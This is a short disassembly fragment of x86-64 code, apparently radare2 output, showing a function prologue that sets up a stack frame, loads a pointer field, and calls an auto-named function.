mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 8]
mov qword [rsp + 0x50], rax
dec rax
cmp eax, ecx
inc eax
dec rax
call fcn.140006deb